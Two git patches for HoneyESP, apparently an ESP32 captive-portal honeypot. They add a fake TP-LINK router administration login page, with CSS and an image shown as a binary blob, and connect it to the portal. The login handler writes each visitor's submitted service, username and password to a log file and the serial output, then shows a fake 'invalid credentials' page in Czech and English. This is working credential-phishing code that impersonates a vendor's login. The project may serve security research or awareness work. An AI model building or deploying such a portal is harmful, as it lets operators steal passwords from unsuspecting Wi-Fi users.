From 204a182635c8c257aaefc7ac4ffa0e18cc14ec10 Mon Sep 17 00:00:00 2001 From: Thebys Date: Thu, 14 Feb 2019 00:14:01 +0100 Subject: [PATCH 1/2] Added experimental router page/provider. --- HoneyESP-SPIFFS/data/css/tp-old.css | 51 +++++++++++++++++++++++++ HoneyESP-SPIFFS/data/images/tp/tp1.jpg | Bin 0 -> 4076 bytes HoneyESP-SPIFFS/data/images/tp/tp2.jpg | Bin 0 -> 9790 bytes HoneyESP-SPIFFS/data/tplink.htm | 34 +++++++++++++++++ 4 files changed, 85 insertions(+) create mode 100644 HoneyESP-SPIFFS/data/css/tp-old.css create mode 100644 HoneyESP-SPIFFS/data/images/tp/tp1.jpg create mode 100644 HoneyESP-SPIFFS/data/images/tp/tp2.jpg create mode 100644 HoneyESP-SPIFFS/data/tplink.htm diff --git a/HoneyESP-SPIFFS/data/css/tp-old.css b/HoneyESP-SPIFFS/data/css/tp-old.css new file mode 100644 index 0000000..af30b92 --- /dev/null +++ b/HoneyESP-SPIFFS/data/css/tp-old.css @@ -0,0 +1,51 @@ +html { + background-color: #003399; + color: #000; + font-family: "Arial", "Helvetica", "sans-serif"; + margin: 0; + padding: 1em; +} + +body { + background-color: #003399; + max-width: 772px; + margin: 0 auto; + padding: 1em; +} + +img { + border: none; +} + +input[type=text], +input[type=password] { + width: 100%; + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + box-sizing: border-box; + padding: 1ex; + border: 1px solid #333; +} + +input[type=submit] { + font-size: 100%; + padding: 1ex; + min-width: 18ex; + font-weight: bold; +} + +.tp-header { + clear: both; + width: 772px; +} + +.tp-header img { + padding: 0; + margin: 0; +} + +.content { + clear: both; + padding: 1ex; + background-color: #fffcd6; +} \ No newline at end of file diff --git a/HoneyESP-SPIFFS/data/images/tp/tp1.jpg b/HoneyESP-SPIFFS/data/images/tp/tp1.jpg new file mode 100644 index 0000000000000000000000000000000000000000..99e491ca2631a2a1dd52c9bc27bd49469f0feac7 GIT binary patch literal 4076 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 K>l8Fkv;PZ5$8&%H literal 0 HcmV?d00001 diff --git a/HoneyESP-SPIFFS/data/tplink.htm b/HoneyESP-SPIFFS/data/tplink.htm new file mode 100644 index 0000000..6dc5d80 --- /dev/null +++ b/HoneyESP-SPIFFS/data/tplink.htm @@ -0,0 +1,34 @@ + + + + + + + TP-LINK + + + + +
+ TP-LINK 54MTP-LINK 54M +
+
+
+ +

+ + +

+

+ + +

+
+ +
+
+
+ + + \ No newline at end of file From dcebeb682527289203ccf25c157aedffc13b129e Mon Sep 17 00:00:00 2001 From: Thebys Date: Fri, 1 Mar 2019 19:56:16 +0100 Subject: [PATCH 2/2] Connected faux administration login to main captive portal. --- HoneyESP-SPIFFS/HoneyESP-SPIFFS.ino | 18 +++++++++---- HoneyESP-SPIFFS/data/err-tp.htm | 27 +++++++++++++++++++ HoneyESP-SPIFFS/data/index.htm | 2 +- .../data/{tplink.htm => log-tp.htm} | 0 4 files changed, 41 insertions(+), 6 deletions(-) create mode 100644 HoneyESP-SPIFFS/data/err-tp.htm rename HoneyESP-SPIFFS/data/{tplink.htm => log-tp.htm} (100%) diff --git a/HoneyESP-SPIFFS/HoneyESP-SPIFFS.ino b/HoneyESP-SPIFFS/HoneyESP-SPIFFS.ino index 896e263..cf7ef91 100644 --- a/HoneyESP-SPIFFS/HoneyESP-SPIFFS.ino +++ b/HoneyESP-SPIFFS/HoneyESP-SPIFFS.ino @@ -119,7 +119,7 @@ void setup() { // Enable HTTP server Serial.print("Starting HTTP server..."); - server.on("/login.htm", handleLogin); + server.on("/login.htm", handleLogin); #ifdef BLOCK_SSID_REQUEST server.on(getUrlFromFileName(FILENAME_SSID), send404); #endif @@ -144,8 +144,10 @@ void loop() { void handleLogin() { // Save form data to text file File logFile = SPIFFS.open(FILENAME_DATALOG, FILE_WRITE); + String loginService; if (logFile) { - String logLine = server.arg("svc"); + loginService = server.arg("svc"); + String logLine = loginService; logLine += "\t" + server.arg("usr"); logLine += "\t" + server.arg("pwd"); Serial.println(logLine); @@ -155,12 +157,18 @@ void handleLogin() { Serial.println("Error opening data file."); } - // Redirect to error page - String message = "302 FoundContinue here"; + // Decide where to redirect + String redirectLocation = "/error.htm"; + if(loginService.indexOf("tp-link") > -1){redirectLocation = "/err-tp.htm";} + + // Execute redirect to decided page + String message = "302 FoundContinue here"; server.sendHeader("Cache-Control", "no-cache, no-store, must-revalidate"); server.sendHeader("Pragma", "no-cache"); server.sendHeader("Expires", "-1"); - server.sendHeader("Location", "/error.htm"); + server.sendHeader("Location", redirectLocation); server.send(302, "text/html", message); } diff --git a/HoneyESP-SPIFFS/data/err-tp.htm b/HoneyESP-SPIFFS/data/err-tp.htm new file mode 100644 index 0000000..2363020 --- /dev/null +++ b/HoneyESP-SPIFFS/data/err-tp.htm @@ -0,0 +1,27 @@ + + + + + + Free Wi-Fi Gateway + + + +
+ TP-LINK 54MTP-LINK 54M +
+
+

+ Wi-Fi + Wi-Fi Gateway +

+
+

Chybné přihlašovací údaje. Byly zadány chybné údaje nebo nastala jiná nespecifikovaná chyba. Omlouváme se, zkuste to později nebo použijte jinou službu.

+

Invalid credentials. Invalid login information has been entered or an unspecified error has occurred. We are sorry, try again later or use different service.

+
+ +
+
+
+ + \ No newline at end of file diff --git a/HoneyESP-SPIFFS/data/index.htm b/HoneyESP-SPIFFS/data/index.htm index 39f70a5..28514fd 100644 --- a/HoneyESP-SPIFFS/data/index.htm +++ b/HoneyESP-SPIFFS/data/index.htm @@ -10,7 +10,7 @@

- Wi-Fi Wi-Fi Gateway + Wi-Fi Wi-Fi Gateway

Pro připojení k Internetu se prosím přihlašte pomocí některé z následujících služeb:

Please login using one of the following services for Internet access:

diff --git a/HoneyESP-SPIFFS/data/tplink.htm b/HoneyESP-SPIFFS/data/log-tp.htm similarity index 100% rename from HoneyESP-SPIFFS/data/tplink.htm rename to HoneyESP-SPIFFS/data/log-tp.htm